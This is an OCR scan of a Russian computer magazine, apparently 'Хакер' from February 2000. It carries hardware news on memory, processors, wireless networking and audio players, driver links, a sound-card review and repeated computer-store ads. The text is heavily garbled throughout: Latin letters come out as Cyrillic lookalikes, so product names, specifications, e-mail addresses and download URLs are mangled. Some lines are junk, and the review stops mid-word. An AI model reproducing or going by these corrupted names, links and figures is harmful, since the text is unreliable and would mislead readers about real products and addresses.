Е ст. м. “Динамо”, ул. 8 Марта, д.Ю (095)723-81-30 

~ ст. м. “Красносельская”, ул. Русаковская, д.2/1 (095)264-12-34 264-13-33 

^ ст. м. “Каховская”, Симферопольский б-р, д.20а (095)310-61-00 

0 _ ст. м. “Сокол”, ул. Новопесчаная, д. 11 (095) 157-53-92 157-42-83 

^ ст. м. “ВДНХ”, ВВЦ, пав. №14 “Вычислительная техника”, (095)974-60-10 

0 ст. м. “ВДНХ”, ВВЦ, пав. №18 “Электротехника” 

5 ст. м. “Савеловская”, ВКЦ “Савеловский” павильон 0-20, 0-38 (095)784-64-85 
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— Корпоративный отдел: (095) 723-81-26 2 агеІиа@ІесІітагкеі.ги 
го Дилерский отдел: (095) 214-20-17 орІ@ІесНтагке1.ги 
с ѴѴЕВ - сайт: ѵѵѵѵѵѵ. Тесіітагкеі.ги прайс-лист на все оборудование 
Е-таіІ: 0ІТісе@ІесІіплагке1.ги 
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ІШМАРКЕТ 



компьютере 



Мы утверждаем, что в наших магазинах: 



Более 40 наименований факс- 
модемов* Подключение к Іпіегпеі! 
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ХАКЕР > ШЕВРАПЬ’У2К 



Х-НагсИЧеѵѵз 



ТОРУК 

(ТОР1СК@ХАКЕР.Ки) 



О-О-О-О- 
РРАМ адаіп 



Г 



Интел призывает всех к порядку и соби- 
рает консорциум. Задача оного - создать 
некий более распространенный и дей- 
ственный стандарт на оперативную па- 
мять, нежели ныне существующие 
(ВаппЬиз, 00В ЭРАМ, ЗОВАМ). Название 
для чипа уже придумали - ІЧехІ 
Оепегайоп 0\гес\ Вапсіот Ассезз 
Меплогу. Правда, звучит? А сокращенно 
будет N0 ОВАМ. И будет оно только в 
лучшем случае в 2004 году. Кстати, пер- 
вые слухи о новой памяти были связаны 
с тем, что память будет с пакетной пере- 
дачей данных, как и РатЬиз. Пока что 
эти слухи не оправдались (к счастью?). 



Восемь сотен 
мегагерц, семь 
с половиной 
сотен мегагерц 

Что лучше - Р-ІІІ 800 МН 2 (851 дол- 
лар/штука, между прочим) или АИіІоп 750 
МНг? Одни говорят, что пень - это круто, 
и вообще, за Интел - будущее процессо- 
ров. Другие утверждают, что Атлон - са- 
мое-самое невероятное из ныне сущес- 
твующего. Третьи скептически улыбаются 
и ждут итогов февральского тестинга Р-ІІІ 
10Н2. Четвертые улыбаются не менее 
скептически, но ждут апреля и анонса но- 
вого АІМоп от АсІѵапсесІ МісгоОеѵісе. Но 
все равно инетовские сайты сейчас толь- 
ко тем и занимаются, что сравнивают Р-ІІІ 
800 МН 2 и АІМоп 750 МН 2 . Одни - в пользу 
первых, другие - в пользу вторых. Так что 
ситуация с производительностью очень и 
очень непонятна. Хотя... мы-то с тобой 
знаем, что лучше, правда, перец?.. 



75 - 80-99 



Ужас. Просто ужас творится нонче с СО-В'ами. В конце прошлого года было объявле- 
но о производстве компактов емкостью в 80 минут, а уже в этом году и даже месяце 
некая Тгахсіаіа (чесслово, это она сама так себя называет!) собирается представлять 
компакт-диски типа СО-В, на которых с удовольствием разместятся 870 Мб информа- 
ции. Или, если хочешь, 99 минут качественной С0-музыки. И будет это в повсемес- 
тном использовании скорее всего уже весной. 




іато Се лерон 



Интел решилась. После недолгих раздумий летом 1999 года ведущий (после АМ0, конеч- 
но) производитель процессоров для народа объявил о продолжении производства про- 
цев типа Сеіегоп, но уже на частоте 533 МГц. При этом, правда, полностью накрылось 
производство 300-х Селеронов, нуда нам не привыкать. Короче, в результате всех вы- 
шепроизведенных действий третьего января на свет появился краткий пресс-релиз от 
ІпІеІ, в котором утверждалось, что Селероны 533 МГц в спецупаковочке РІазйс Ріп ОгісІ 
Аггау (РРОА) уже раздается по 167 баксов штука для оптовиков (партия в 1000 единиц, 
тебе не надо?). К моменту прочтения этой новости уже можешь смело обращаться к бли- 
жайшему реселлеру - будет. 

\\ Г 



Обещания, кото- 
рые сдерживаются 





Самсунг, по ходу дела, решил немного пе- 
ревыполнить отдельные планы по выпуску 
ОВАМовой памяти. Обещанная в конце У2К 
память на 512 Мб становится все более 
реальной. Пока что стало известно, что раз- 
работка 288 пледаЬіІ РатЬиз сіупатіс гап- 
сіот ассезз теплогу выполнена. Чипы ожи- 
даются в конце первой половины этого го- 
да. На настоящий момент самой высокой 
планкой для модулей памяти от Сам-ты- 
сунг была 144-х мегабитная штучка. Кстати, 
в процессе выпуска ожидается, что ребята 
соберут 576-мегабайтный чип из несколь- 
ких 288-мегабитных и объявят о его выпус- 
ке. Ну, будем надеяться. Кстати, о цене в 
пресс-релизе не сказано ничего... Абыдна. 



Вне двери, вне 



закона 



Вот чему я всегда удивляюсь, так это странным ре- 
шениям этих заокеанских янки. Как тебе такое: на 
днях І_исепІ ТесЬпоІодіез анонсировала, а заодно и 
начала продавать сетку. Но не простую. И даже не 
золотую. На 1 1 Мбит/сек. И на 1 1 миль. Длиной. 
Максимальной. О как! Новая фича под названием 
ѴѴаѵеАССЕЗЗ начала потихоньку выходить в свобод- 
ную продажу, призывая опутать ею (сеткой) всех и 
вся, что только можно. Хотя предпочтение отдается 
компьютерам, но и люди могут не оставаться в сто- 
роне - а то вон 10 миль, куда девать-то столько? НО! 
В том-то и вся бяка, что проводов никаких нету. Сет- 
ка беспроводная! ѴѴігеІезз!!! То есть стоит на той сто- 
роне роутер и на этой. А между ними радиосигналы 
на частоте нелицензированной бегают. А еще можно 
метод криптования регулировать - либо 64 - ЬіІѴѴЕР, 
либо 128 - ЬіІ ВС4. Да и вообще, получается не сетка 
- а просто подарок на день варенья какой-то! 
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Освобож- 
даем уни- 
версальный 
порт для 
акустичес- 
кой системы 

Ну, началось... ОЗоипсІ І_аЬз 
решила осчастливить всех 
геймеров своей новой акус- 
тической системой. Система 
не хухры-мухры: две колонки, 
но софт, эмулирующий все 
четыре. И вроде все бы ниче- 
го, да вот проблема: система 
вешается на 115В. Так что ес- 
ли один порт под мышой за- 
нят, то теперь, по ходу дела, 
и второй будет занят. При- 
дется забыть про все перма- 
ненты на 115В... Но это будет 
только в случае, если захо- 
чется эту самую систему се- 
бе на маму вешать. А можно 
и не вешать. Пущай себе в уг- 
лу стоит, пылится. Да, чуть не 
забыл, склероз, мать его 
(старость - не радость, ма- 
разм - не оргазм, как говорит 
моя младшая сестренка): зо- 
вется система ВА735 ЕІЗВ, а 
разработала ее (типа, на кого 
стрелки перевести) некая 
Возіоп Асоизйсз (некая... Гы- 
гыгыгыгы! Прим. Холода). 

Уже в продаже. 
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РадиовуБЫ 
+ гопувая сетка = Р.. 



/ 



Наконец-то! 



Что такое “сетка”, знают даже самые закоренелые ламеры. Что 
такое радио, инфракрасный передатчик и беспроводное соедине- 
ние тоже почти все знают. И чем кабельное соединение отличает- 
ся от беспроводного - тоже, надеюсь, в курсе. Так вот, в чем фи- 
ча: небезызвестная всем Курьерам и Шпротам ЗСот со всей 
своей могучей силой продвигает на рынок некую технологию 
ВІиеІооЛі. Собственно ПосиневшиеЗубы - это два, скажем, чипа, 
которые настроены друг на друга. Вставленные один в мобильную 

компутерную сетку, а второй в мо- 
билу, органайзер, ноутбук и тэдэ, 
они заведены друг на друга для 
передачи информации. В общем, 
маломощные радиопередатчики. 
Отныне отказываемся от разного 
рода кабелей и тому подобных 
коаксиальных шнурков. Строим 
свою сетку (из мобилы и ноутбу- 
ка), при этом можем ходить с 
места на место и ничего этой 
сетке не будет. Другой вариант 
подобной технологии - ѴѴігеІезз 
ЕІПегпеІ, только последняя нап- 
равлена на создание сетки ло- 
кальной и стационарной, а вот 
ВІиеТооѣИ - на сетку мобильную. 
Поддерживается технология це- 
лым сонмом компаний: от 
Егісззоп и ІВМ до той же ЗСот и 
ІЧокіа. Кому надо - разбирайте... 



Уфф. Свершилось. Теперь 
Сгеайѵе ІпсогрогаІесІ сможет 
вернуться к своим исследо- 
ваниям на поприще изобре- 
тения чего-нибудь новень- 
кого и интересного в облас- 
ти хардверного воспроизве- 
дения звука на своих супер- 
пуперских аудиоплатах. Что 
же случилось? Изобрели но- 
вый способ проигрывания 
звука? Новый стандарт? Да 
нет, просто в продажу в кон- 
то веки вышли две аудио- 
системы: ОіатопсІ Мопзіег 
ЗоипсІ МХ400 и ОіатопсІ 
Зопіс Іплрас* 3100. Да, скажу 
я тебе: Е35 не умер. Он 
изобрел Сапуоп 30, а Сен- 
саура создала свою 30 - 
звуковую технологию и все 



это дело слилось в один- 
единственный ОіатопсІ 
Мопзіег ЗоипсІ МХ400, кото- 
рый многие фанаты и любо- 
пытствующие уже зажда- 
лись. Что до Соник Импакта, 
то это карточка на базе 
ЕЗЗ'овского же процессора 
АІІедго представляет собой 
удешевленный вариант 
Монс тры. Стоить карточки — 
будут 80 и 40 баксов соот- 
ветственно. 
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Типа Сою 
под Ахпон 



Ну, вроде того, есть такой проц - 
АІЫоп 750, и там у него чип жи- 
вет, микропроцессор и всякая 
фигня в этом же роде, и все это 
вмещается в один такой слот 
под кодовым названием Зіпдіе 
ЗІоІ-А, и эту дырку - ЗІоІ-А - раз- 
местили на крутой-крутой плате 
от не менее крутой Зоуо. В об- 
1 1 іо м ; тям -тпррь Р00МН7 яу.чТрт 



іпіегіасе, и никто не знает, что 
делать. Ну и сама платка под 
корпус АТХ заточена. Да-да, пи- 
лочкой такой заточена. Лобзик 



^оветс?^Тлыха/^^5Вщём^1аш!Ніац^ 
чисто заточили мамку под АТХ. А при этом еще разрешили 
в плату ставить 500 МГ цовые и выше процы. И что же, ты 
думаешь, что там такого веселого поддерживается? Ха! Ес у 
ли не считать того, что ЗОпоѵѵ! поддерживается по полной 
программе и в полный рост, альтернативная демократич- 
ность Сойо заставляет раскошелиться и больших фанатов 
Того Самого Проца, потому как 5У-К7АІА поддерживает ин- 
струкции МэМэХа. Кстати, прикол хочешь? Сегодняшний 
второуровневый кэш-левел может быть равен... ВОСЬМИ 
МЕГАБАЙТАМ. Клево, правда? Я так вообще офигел... Нет, 
ну кому, кроме этих тридэ-графиков да САОистов с вор- 
кстэйшнами, сие надоть? На плате имеются три слота под 
ДИММы 168-ріп ЗОВАМ З.Зѵ, что позволяет нарастить ОЗУ 
аж до 768 Мб. Что еще забавного есть на плате? Есть пять 
32-х битных РСІ слотов, два 16-ти битных ІЗА (один расша- 
ренный на РСІ) плюс один АОР - слот с поддержкой АОР 
1х/2х (странно, по ощущениям - фишка будущего, а АѲР 4х 
не поддерживает). Ох, скока ж у нее вкусностей!.. Жаль, 
выйдет она только не скоро. . . 



і 
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Хотите сэкономить время? 



ѵѵѵѵѵѵ.бООО.ги 



Посетите наш интернет-магазин. 

Здесь Вы можете сделать заказ, который 
Вам доставят в офис или домой. 



Компьютерные магазины: 

ст. м. “Динамо”, ул. 8 Марта, д.Ю (095)723-81-30 

ст. м. “Красносельская”, ул. Русаковская, д.2/1 (095)264-12-34 264-13-33 
ст. м. “Каховская”, Симферопольский б-р, д.20а (095)310-61-00 
ст. м. “Сокол”, ул. Новопесчаная, д. 11 (095) 157-53-92 157-42-83 
ст. м. “ВДНХ”, ВВЦ, пав. №14 “Вычислительная техника”, (095)974-60-10 
ст. м. “ВДНХ”, ВВЦ, пав. №18 “Электротехника” 

ст. м. “Савеловская”, ВКЦ “Савеловский” павильон 0-20, 0-38 (095)784-64-85 

Корпоративный отдел: (095) 723-81-26 2агеІиа@1есИтагкеТги 
Дилерский отдел: (095) 214-20-17 ор{@ІесІітагкеСги 
ѴѴЕВ - сайт: ѵѵѵѵѵѵ. ТесНтагкеГш прайс-лист на все оборудование 
Е-таіІ: о№се@іесМтагке1.ги 



■ШиШМАРКЕТЙ 



компьютере 



Мы утверждаем, что в наших магазинах: 

Волее 2500 наименовании 
компьютерных комплектующих / 







12 



ОООС 



НЬЮ( \Х-НАВРМЕ\Л/5 



ХАКЕР > ШЕВРАПЬ’У2К 




Демпинг 



I 



Да, много в этом слове - демпинг. Обозна- 
чает оно всего лишь снижение цены на товар 
с целью повысить его продажи. А реально 
может возникнуть еще и по причине мораль- 
ного устаревания товара. Ну вот, почем в 
1995 году продавалась 486-я машина со все- 
ми тогдашними наворотами? Полторы штуки 
зеленых. Почем сейчас можно купить “чет- 
верку” с двухскоростным сидюком, 5В 16, ки- 
тайской мамкой и не менее желтой видеоп- 
латой? Да максимум долларов за 200-250. 
Так вот, к чему я: Интел понижает цены на 
Селероны. Вот честное слово, когда я прочи- 
тал, почем продается партия в 1000 процев 
433 МГ ц-шных Селеронов, я чуть не упал в 



обморок. Процессор полуторагодичной дав- 
ности стоимостью МЕНЕЕ чем в сто баксов - 
невозможно! То есть это я так думал. Оказа- 
лось же, что все просто - процессоры 
Сеіегоп, созданные по технологии 0.25 мик- 
рон, стоят (списано с ТИе Ведізіег): 533МН2 
Сеіегоп із $167, {Не 500МН2 сііір із $143, {Не 
466МНг ипіі: із $94 апсі ІИе 433МН2 Сеіегоп 
$73. 

По ходу дела все это делается ради продви- 
жения на рынок Копермайнов - процессоров 
на 0. 1 8 микрон. Ну, учитывая, что АМБ уже 
находится в процессе подобных свершений 
и тоже собирается в очередной раз снижать 
цены на Атлон, предсказать что-либо сейчас 
сложно. Хотя все-таки интересно: кто пер- 
вый остановится? 









Номад на сцене: дувль два 



Креативы хотят кушать. Нет, это я не репортаж из Макдональдса веду, 
просто, судя по последним пресс-релизам СгеаНѵе ТесИпоІоду Ш, немножко капусты ребятам срубить очень хочется. А добиваться этого они 
собираются посредством срочного апдейта линейки персональных цифровых ублажателей... о-о-о... классное словосочетание... (на самом 
деле, это всего лишь РегзопаІ ОідіІаІ ЕпІеіТаіпппепІ ака РОЕ). Собственно, ублажатели - это серия ЫОМАБ, точнее, те два плейера, которые 
очень мечтают появиться у реселлеров примерно весной-летом этого года. Плейеры - это ІМОМАБ ЗикеЬох и ІМОМАБ II МО. Общего у них 
много: подключение по 115В, оба программабельны и могут проигрывать чуть ли не любой существующий формат звука - главное, чтобы он 
был в цифре. Кстати, похоже, М$ѴѴіпсІо\л/5 Месііа Аисііо все-таки начинает загребать под себя определенные сегменты рынка. Впрочем, МРЗ 
до сих пор вполне успешно рулит... 

Теперь - что такое ЗикеЬох. Знаешь, читатель, когда я приступил к разбору пресс-релиза, у меня попросту отпала челюсть. Помнишь, сколько 
было заявлено памяти на юзание в РИО и НОМАД первых поколений? Правильно, в районе 96 Мб. Знаешь, сколько будет на винте ІМОМАО 
ЗикеЬох? ШЕСТЬ ГИГАБАЙТ. Ага. 150 альбомов чистой музыки (надо полагать, на 44 КНг). Но, как говорится в особо ретивых рекламных 
проспектах, это еще не все! Плейер может записывать окружающий звук с помощью встроенного микрофона. Да, кстати, встроенных коло- 
нок будет четыре. А вот еще фича: встроенный БЗР (Оіді1:аІ ЗідпаІ Ргосеззог), что приравнивает ЗикеЬох к хорошей звуковой плате (да еще и с 
хардверным декодером МРЕО). Размер у такого монстра аудиоиндустрии примерно с пере- 
носной СБ-плейер. 

Плавно переходя к ІМОМАО II МО. Встроенное радио на РМ-частоте. Диктофон, позволяющий 
записать до четырех часов всякой диктуемой бурды. Сам НОМАД-2 будет выглядеть очень 
круто и профессионально - в прочной и элегантной упаковке (вольный перевод вашим покор- 
ным слугой текста из ориджинал пи-эр). Плюс І_СО - экранчик, так что аккумуляторы заряжать 
придется долго... 

В общем, кто заинтересовался, может резво бежать на сайт: Иир://\ллллл/.потаб\л/ог1б.сот 



к: 



Драйвера 



А 



Ничем особенным прошед- 
ший месяц не ознаменовался, вот разве что выходом столь долгожданных драй- 
веров под Ѵірег II (кстати, а он у кого-нибудь уже стоит? И почем брали?). Един- 
ственная фишка: в первую голову он предназначен для работы с ІІпгеаІ 
ТоигпатепГ Впрочем, сие не умаляет его недооцененных достоинств. Лана, 
хватит с загрузом, лови софт здесь: 

Йр://Йр.біатопбтт.сот/риЬ/бізрІау/ѵірег/ѵірег ІІ/ѵірегІІ плеіаі.ехе. 

Так. Что у нас тут еще? 3.66 А5Ы5 АСР-Ѵ6600/3800/3400. Естественно, бета, 
так что весь риск ты берешь на себя. Брать отсюда: 
Иир^/ѵѵѵѵѵѵ.азиз.сопп/РгосІисіз/АсІсІоп/Ѵда/азизе/епіІіизіазі ИоиезІсІгѵ.ПІпл. 

Если кто-то уже успел отхватить себе АппіПіІаІог или даже АппіПіІаІог Рго, лови- 
те и софт к нему отседова: 

ИПр^/ѵѵѵѵѵѵ.сіІзд.сгеаІсот/зиррогѴсІпѵегз/пеѵѵТіІез.азр 

Маігох МіІІепіит 0400. Наступил долгожданный Миллениум и вышли очеред- 
ные долгожданные драйвера под уже немножко другой Миллениум. Рассчитано 
на Винды 95-98-2К, версия 5.50.005. Здесь: 
Йр://Йр.таігох.сот/риЬ/тда/агсІііѵе/ѵѵіп 9х/2000/ѵѵ9х 550. ехе 
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ХАКЕР > ФЕВРАЛЬ’Ѵ2К 



КГЕВГЕй 







Ш так, мы решили написать кле- 
вую музыку. Собрались всей ко- 
мандой и приступили к созда- 
нию шедевров. Притаранили 2 
контрабаса, 3 барабана. Мне 
достались тарелки. Ну, вот сбацали и присту- 
пили к сведению всей этой бодяги. И тут, тут 
началось ТАКОЕ... потом мы выяснили, что это 
просто наш главный музыковед Холод так 
проявляет свои бурные эмоции :). Хотя человек 
посторонний принял бы это за половые извра- 
щения в тяжелой форме. Извращения али 
просто работа - не столь важно. Нам интерес- 
но узнать: откуда появилось ВСЕ ЭТО? 

А оказалось все неприлично просто: хацкерам 
не понравилась ужасная звуковая карта произ- 
водства самого популярного и покупаемого 
брэнда - МоИате :). И мы прикинули, что пора 
проапгрейдить тачку новой звуковухой так, что- 
бы писать кульные трэки. Написание музыки - 
дело коллективное, а вот подбор нового девай- 
са выпал на долю рубрики “Феррум”, и соот- 
ветственно, звучное “мы” превратилось в оди- 
нокое “я”. И я приступил к подбору звуковухи, 
а чтобы не пропал мой скорбный труд - рас- 
скажу тебе о новых картах, достойных твоего 
внимания. 






□іатопсі МопзСег МХ400 



Каюсь: выбирая эту карту, я не даю тебе обзо- 
ра супер-пупер новинки, т.к. данный девайс за- 
селился уже у многих. Еще в октябре прошлого 
года можно было взять эту железяку. Вот имен- 
но в октябре мы и тестили карточку, а до печа- 
ти это ревью добралось только сейчас, в дан- 
ном обзоре. 

Все помнят ураганную карточку МХ300 с ору- 
щей теткой на боксе. Я тоже долго орал, когда 
рубился в дефматче. Да нет, меня по странно- 
му стечению обстоятельств - не замочили. 
Просто я почувствовал новую фишку, позво- 
ляющую проигрывать звук с учетом всей гео- 
метрии. Не боись: мат анализов я тебе давать 
не буду, просто для тех, кто не в курсе, скажу, 
что данная технология позволяет воспроизво- 
дить характерный звук относительно конкрет- 
ной игры. Например, если ты стреляешь в бли- 




жайшую стенку, то получаешь, практически, тот 
же звук, что и при стрельбе в дальнюю. Также 
получается равный звук и при стрельбе в раз- 
ных помещениях. Так вот, старушка МХ300 поз- 
воляла преобразовывать саунд под конкретные 
условия. Такой фени добились ребята из 
АигеаІ, создав чипсет ѴогІех2. Но теперь 
ОіатопсІ предательски покинул сей чипсет в 
пользу железа от ЕЗЗ. 

ЕЗЗ??? Так и вижу осоловелые глаза и ярос- 
тные крики (крики тоже вижу :). Все помнят их 
отстойные карты по 8-15$. Неужели Даймонд 
упал так низко, что стал пихать в свои звукову- 
хи такое уродство? Я просто со стула упал, ког- 
да прочел в пресс-релизе, на сайте ОіатопсІ, о 
переходе к ЕЗЗ. Но потом успокоился: ЕЗЗ де- 
лает и вполне приличные чипсеты за прилич- 
ные бабки. Имя такового - Сапуоп 30. Тут тебе 
все радости жизни, часть из которых просто не 
доступны МХ300 и вообще нечто свежее на 
рынке звуковых силков. Но есть и траблы с но- 
вым Каньоном: карта поддерживает возмож- 
ность проигрывания лишь одного ѵѵаѵ'а, трЗ, 
га и т.д. Ясный перец, что никто не собирается 



одновременно слушать три трека. Просто это 
напрягает, когда пользуешься аськой или 
мэйл чекером (проверяльщик почты). Напри- 
мер, когда у меня ночной анлимит - постоян- 
но включена аська, иркер и мэйл чекер, но я 
также люблю врубать музыку периодически. И 
мне приходится, слушая музон, отрубать звук 
у прог. Такая же лажа получается при подго- 
товке миксов. 

Есть проблема, но должно быть и решение? 
Для человека разумного - так и есть, а вот для 
производителя карт остается сомнительной сея 
истина. Так Даймонд, очевидно, пытается сва- 
лить проблемы повышенной нагрузки камня и 
невозможность параллельного проигрыша зву- 
ка на хозяев чипсета. В общем, остаются лишь 
надежды на референсовые драйверы. Если Ау- 
реал достаточно активно работает над драйва- 
ми, то от ЕСС не ожидается особливых телод- 
вижений. А с Даймондом вообще пинцет... 

В скором будущем ОіатопсІ обещает поддер- 
жку Віо Ордгасіе. Т.е. аппаратное декодирова- 
ние МРЗ. Кто делал свой архив мптришек с му- 
зыкальных сидюков - знает об этом гиморре. 
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Особенно, если камень меньше 400 МГЦ. Так 
вот, Даймонд раскидывает пальцы, мол, можно 
будет в 3-5 раз уменьшить время на перегонку 
траков с сидюка. Что же, подождем увидим :). 
А пока будем дружно думать о надобности при- 
бамбасов из серии отражения звука, что мы 
могли видеть в МХ300. Даймонд нам в этом по- 
может, заменяя Ауреаловские чипы на ЕСС. 
Очевидно, покупка ОіатопсІ 33 сказала свое, и 
в дальнейшем у ЕЗЗ прибавится немало зака- 
зов на подготовку и производство новых плат- 
форм. Конечно, если они оперативно порабо- 
тают относительно драйверов. 

АигеаІ ѴогСех 302500 

Напомню, что производство девайсов на соб- 
ственных чипсетах - дело распространенное, 
но, увы, не всегда благодарное. Как ты знаешь, 
наш любимый Интел выпускает не только чипы 
мамок, но и сами мамки. Попытка - не пытка 
((с) Лаврентий Павлович Берия), поэтому Ин- 
тел продолжает производство мамок на 440 чи- 
пе, а теперь и на 81 0-м и 820-м. Но, мне кажет- 
ся, несмотря на мою любовь к Интел, эта про- 
дукция не является конкурентно способной 
(мне на это дело бабок жалко). Даже зная то, 
что у Ауреал и Интел разные хозяева, просле- 
живаются некоторые аналогии. Так Ауреал впа- 
ривал родные карты на первом вортексе 
(Ѵоііех), по цене карт Даймонда, уже на втором 
(ѴоіТех2). Ты бы купил обычный пень вместо Р2 
за те же бабки? 

Непосредственно ѴоіТех2 АигеаІ, как звуковая 
карта, была анонсирована хрен знает когда. С 
тех пор особой истерии и ажиотажа не наблю- 
далось. Во многом из-за того, что не изменил- 
ся чипсет: был Ѵоі1ех2, стал Ѵоі1ех2. Разницу 
почувствовал? :) Надо сказать, что выпуск этой 
карты пришелся не на самое удачное время 



для АигеаІ: как раз тогда ОіатопсІ ММ (это не 
МММ, не бойся, просто МиШ Месііа :)) пере- 
шел к ЕЗЗ. И основное внимание покупателей 
и экспертов было обращено именно на слав- 
ный союз ОіатопсІ&ЕЗЗ. И Ауреал пришлось 
тратить немало бабла на раскрутку новой кар- 
ты. Я постараюсь помочь в этом, хотя и поде- 
люсь про галимые свойства. В общем, “поиг- 
раем в карты” :). 

Я подозревал тестируемую карточку во всех 
смертных грехах (в самом главном - высокой 
цене). Подтвердились ли подозрения? Давай 



разберемся. Основными заказчиками Ѵоі1ех2 - 
были ТиіІІе ВеасГі и ОіатопсІ. Но заказчики по- 
купали лишь чип, а технологию производства и 
дизайн имели свои эксклюзивные. Поэтому 
проводить параллели с их картами - не будем. 
Рассмотрим как отдельный класс. Вместе с но- 
вым дизайном мы заимели ряд дополнитель- 
ных железных апдейтов. Среди которых можно 
выделить - наличие 3/РйІР выхода. Не буду 
спорить, что лучше: коаксиал али оптика. Из 
других апгрейдов - улучшение соотношения 
сигнал/шум (зідпаі/поізе - 3/И). Теперь 
поют/шумят - 98 ДБ против прежних 95. Дядь- 
ке-гамеру придется по вкусу улучшение техно- 
логии отражений (по моим так отразилась, что 
меня девушки перестали любить за отражен- 
ные уши :)). Я уже писал, что это позволяет те- 
бе заиметь абсолютный слух в Хэлфлайфе и 
других, а также ощутить то самое погружение 
(о бэйби, погружай скорее ;). Правда, на ста- 
ром драйве аЗб (2.25) были ощутимые траблы. 
Но, установив 2.40 (а к выходу номера и посве- 
жее), ты получишь то, что искал. Точнее, того 
самого засранца, который от тебя смывается 
по темных коридорам Кваки :). Теперь ты его 
замочишь, едва услышав отдаленные шаги 
хлипк их ножек. Но, увы, АЗй с 76 потоками 
поддерживается только на двух колонках или 
ушах. И 2040 драйвер - ничего так и не изме- 
нил: верен себе и своей корявости :(. До пер- 
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вой звезды... ждем, матушка. Для любителя 
дозовых гамесов, как обычно, наличествует су- 
порт Саундбластера. Для нормальной же рабо- 
ты предлагаются различные варианты звучания 
(вообще, я сам тоже по-разному звучу :). Если 
же ты настолько крут, что лабаешь на МИДИ 
клавке (в МИДе - другие Клавки :), то придется 
кстати поддержка стандарта гам - порта 401 
ЕМ II (за расшифровку этой фразы - РСР обе- 
щает выдать супер длинный личный ключ :). 

Теперь давай установим новую железку. В 
комплект поставки входит несколько си дюков, 
факинг мануал. Провода для коннекта с колон- 
ками - отсутствуют :(. Так что я подсоединил 
родные уши. Привычка рубиться в ушах - выра- 
боталась во время клубных дефматчей. И, на- 
дев уши, я стал распаковывать коробку в на- 
дежде найти те самые рульные игры. Уком- 
плектовано: НегеІіс2, ЗІаѵе гего (7 уровней), 
Огакап, Аисііо Ѵіеѵѵ32, АигеаІ ріауег, АЗй сіетоз, 
Оігесі X 5.0, 2040 драйв и 2005 для НТ. В об- 
щем, ничего оригинального. 

Для криворуких и недогадливых - эта карта 
поддерживает РС99, стандарт, принятый 
дуэтом М8 и ІпТеІ. При котором все порты по- 
мечены определенным цветом. Зачем? Этого и 
я не знаю :). Те же, кто интересуется степенью 
загрузки проца, будут обрадованы: судя по гра- 
фикам, данный девайс является одним из наи- 
менее ресурсоемких (кушает, короче, мало :)). 

Тамеры, гамеры... достали, я просто 
мпэтришки слушаю, на хрена мне гамесы?” - 
спросит читатель - звуковой обжора. Я согла- 
сен, что если стремиться за всеми железными 
новинками, подогнанными под определенные 
игры - вообще без бабок останешься :(. Поэто- 
му давай прокатим пару компактов, десяток 
МРЗ, пяток МЮІ. Замечу, что оценить звук бес- 
пристрастно - сложно: у каждого свои уши, и 
УШИ тоже свои :). Поэтому не вздумай принять 
мое мнение о качестве звука как окончатель- 
ное. Если ты помнишь, соотношение сиг- 
нал/шум изменилось лишь на троечку. Я дли- 
тельное время пытался найти изменения, прос- 
лушивая звук на добротных джазовских колон- 
ках. 404: не было найдено. Очевидной причи- 



ной этого я вижу то, что эта плата построена с 
тем же кодеком. Или подействовали 15 суток, 
проведенные за звуковую агрессию над сосе- 
дями с помощью новой карты :). В общем, звук 
вполне характерный большинству карт на вто- 
ром вортехе (это мне шеф сказал :). И как во- 
дится, по сравнению с ЗВ Ріаііпит звучание 
несколько проще. МИДИ воспроизводятся неп- 
лохо, но, не являясь страстным поклонником 
МЮІ, скажу лишь официальные данные: желе- 
зом поддерживается 64 голоса и 576 софтом, а 
под НТ - 320. Напомню, что поддержка 576 - 
реализуется лишь на 2040-ом драйве. Поддер- 
живается много стандартных эффектов обра- 
ботки звука. Ну, не тащусь я от мидей, что по- 
делаешь - перейдем лучше на ОМО. Несмотря 
на то, что многие двд- плееры поддерживают 
работу в режиме 4-х колонок с этой картой, в 
мои лапы попался лишь \Л/іпМ). Хотя, как я 
слышал, СуЬегМпк (ѵѵѵѵѵѵ.суЬегІіпк.сот.Іѵѵ) уже 
анонсировала свой РоѵѵегОѴО, поддерживаю- 
щий 4 колонки с рассматриваемой картой. Ко- 
роче, пацаны, предлагаю подождать результа- 
тов скорбного труда и уже тогда оценить всю 
прелесть работы с 4-мя колонками. Ведь боль- 
шинство покупателей ОМО рассчитывают обо- 
рудовать полноценный домашний кинотеатр. А 
какой домашний кинотеатр на двух колонках??? 
Поэтому пока воспользуюсь наушниками для 
оценки 30 звука. С моей высокой оценкой ка- 
чества работы согласился и тест 10 ЗоипсІ. Хо- 
тя особых отличий от прочих карт на том же 
Ѵоі1ех2 - замечено не было (и под комодом, и 
под столом искал - нету :)). При работе на ко- 
лонках 10 аисііо заценил 30 на честную пятер- 
ку. И отставание от І_іѵе! можно считать мини- 
мальным. ѴоіТех2 платы некоторое время были 
бесспорным чемпионами при работе на 4-х ко- 
лонках из-за превосходного НВТР (это вовсе не 
ВРТМ :)) передних динамиков. Хотя І_іѵе! ис- 
пользует Шѵеѵѵаге, а Теггаіес ОЫХ организуется 
Зепзаига МиІІЮгіѵе, и соответственно, ничуть 
не хуже справляются с работой звука на 4-х ко- 
лонках. В общем, то, чем ранее АигеаІ мог пох- 
вастаться, было реализовано и у бдящих конку- 
рентов :). 

ЗоипсІ ЕЗІазСег І_ІѴЕ! 
РІаСіпит 

Да это ж Креатив! И все тот же Саунд бластер! 
Моей первой звуковой карточкой был ЗВ16. 
Было это в 94 году. Столько времени прошло, а 
у Креатива все ЗВ... Все очень просто: понятие 
ЗоипсІ Віазіег - стало обобщающим для всех 
звуковых карт. Я как-то стал свидетелем раз- 
борки между покупателем и продавцом: чел ку- 
пил дорогущую МХ300, припер домой, развер- 



нул и выяснил, что это вовсе не ЗоипсІ Віазіег. 
Разозлился конкретно. Пришел требовать баб- 
ки обратно. Ну, ему популярно объяснили, что 
МХ300 - значительно лучше доисторических 
ЗВ16. От этого чел еще больше набычился. 
Дошло дело до суда. И что самое интересное - 
суд принял иск чайника и в судебном порядке 
заставил фирму- продавца предоставить ЗВ16 
вместо МХ300 :). Т.е. в голове покупателя укла- 
дывается лишь одна карта: карта от Креатива, 
и обязательно ЗВ. Параллельно с этим в кузо- 
вах юзеров укладывается и ЗВ І_іѵе!, а с недав- 
них пор и ЗВ І_іѵе! Ріаііпит. 

После выхода І_іѵе! прокатилась целая серия 
других карточек. Таких, как ЗВ І_іѵе! МРЗ, ЗВ 
І_іѵе! Сатег, ЗВ І_іѵе 1024. Но явного отрыва от 
основной карты - не намечалось. Вот тогда 
появилась карта ЗВ 1_іѵе! Ріаііпит. Карта пос- 
